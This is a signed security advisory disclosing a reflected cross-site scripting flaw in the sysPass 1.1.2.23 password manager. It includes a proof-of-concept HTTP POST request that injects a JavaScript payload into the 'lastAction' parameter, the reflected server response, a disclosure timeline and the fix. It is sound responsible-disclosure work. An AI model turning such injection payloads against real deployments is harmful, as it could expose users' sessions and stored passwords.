sysPass 1.1.2.23 Cross Site Scripting
Posted on 09 December 2015
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2015-047 Product: sysPass Vendor: http://cygnux.org/ Affected Version(s): 1.1.2.23 and below Tested Version(s): 1.1.2.23 Vulnerability Type: Cross-Site Scripting (CWE-79) Risk Level: Medium Solution Status: Fixed Vendor Notification: 2015-07-14 Solution Date: 2015-10-26 Public Disclosure: 2015-12-07 CVE Reference: Not yet assigned Author of Advisory: Daniele Salaris (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: sysPass is an web based Password Manager written in PHP and Ajax with a built-in multiuser environment. The functionality "Account Details" is prone to a reflected cross-site scripting vulnerability. The software manufacturer describes the web application as follows (see [1]): "sysPass is a web password manager written in PHP that allows the password management in a centralized way and in a multiuser environment. The main features are: * HTML5 and Ajax based interface * Password encryption with AES-256 CBC. * Users and groups management. * Advanced profiles management with 16 access levels. * MySQL, OpenLDAP and Active Directory authentication. * Activity alerts by email. * Accounts change history. * Accounts files management. * Inline image preview. * Multilanguage. * Links to external Wiki. * Portable backup. * Action tracking and event log. * One-step install process." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The PHP script ajax_getContent.php of the web application functionality "Account Details" is vulnerable to reflected cross-site scripting via the parameter "lastAction". The web application sysPass inserts the injected code into the "back" button of the result web page where it can be triggered. This reflected cross-site scripting vulnerability can be exploited in the context of an authenticated user by sending a specially crafted HTTP POST request (see PoC section). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following HTTP POST request using the JavaScript code "'-alert(1)-'" as the value for the parameter "lastAction" demonstrates the reflected cross-site scripting vulnerability by showing a JavaScript alert box after the "back" button was clicked: POST /sysPass/ajax/ajax_getContent.php HTTP/1.1 Host: <HOST> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0 Accept: text/html, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://localhost/sysPass/index.php Content-Length: 74 Cookie: PHPSESSID=<SESSIONID> Connection: keep-alive Pragma: no-cache Cache-Control: no-cache action=accview&lastAction=accsearch'-alert(1)-'&id=1&isAjax=1 The server answers as follows: HTTP/1.1 200 OK (...) <img src="imgs/back.png" title="Back" class="inputImg" id="btnBack" OnClick="doAction('accsearch'-alert(1)-'', 'accview',1)"/> (...) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: The reported security vulnerability has been fixed in a new software release. Update to the new software version. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2015-07-14: Vulnerability discovered 2015-07-14: Vulnerability reported to vendor 2015-10-26: Release of new software version that addresses the reported security issue. 2015-12-07: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Web site of sysPass - sysadmin password manager http://wiki.syspass.org/en/start [2] SySS Security Advisory SYSS-2015-047 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2015-047.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Daniele Salaris of the SySS GmbH. E-Mail: disclosure (at) syss.de Key fingerprint = E135 4E23 6091 A85C 9E14 577A 28DF B3A7 0A98 A9D4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIcBAEBCgAGBQJWZTi3AAoJECjfs6cKmKnUUW0P/2AkQ/8y7xiv3I+LVSyb8STZ XPVGYCBoqaTO2aQUeaMlE5pOYS0NzSsogFJuVk61D/GI6zI0IxJp22U0Myu9u0Af rNn7zfjtmJvR80xbIEfPdnFXRXic9V8vazrBUUpMVhRjaF8ox5Hx9m04YzMQrdYt u9vLumjT8cpLpLu+jzEET1p1+itpmI/Ru6M+VqdAS0jFRImemqIT/o5U18G6ayvG JZ2W2HCybu/ErQEw/FtOFK/SGAi8egCLdwEnFoeTxlz4uQNYFe/4MGbzFWgH1p5t euyrMEyGkqWSaIuyskKoHqW9sYc3wlFzmYLxCIk7HhmXqdJwXuDwBtTRqFI2t2k2 BVJK53xCo727W9IMQqtbqpCNrU5ojKtMr/CxslYFiIHddSRvEuiccDgI3ZKyp+xA o7GVND9fdNkIX1Njbmb9hBtyygDTAkz1RPN92l3L4ESF5fEgXCeVHy5xdl7KoD4w GDAh718tE2cQXqTRhBk1uWzvjjcbDcQ3PLnMhS4nd9l10amyfXRn5zQyOQBi746H BXUGAD4S6VDLt4MGkTYDHYrkmzYSGhPoU5/t0L6thjkeSt+YjIhtjafXl+xj046J e6s5ozyIaJD+CFPwyKByzAjyW0R4wCoEV+8jJVotxf8xzjRDMJEx4A059WFi1602 TAg4fytmdoelxYtdJNHN =xgz1 -----END PGP SIGNATURE-----
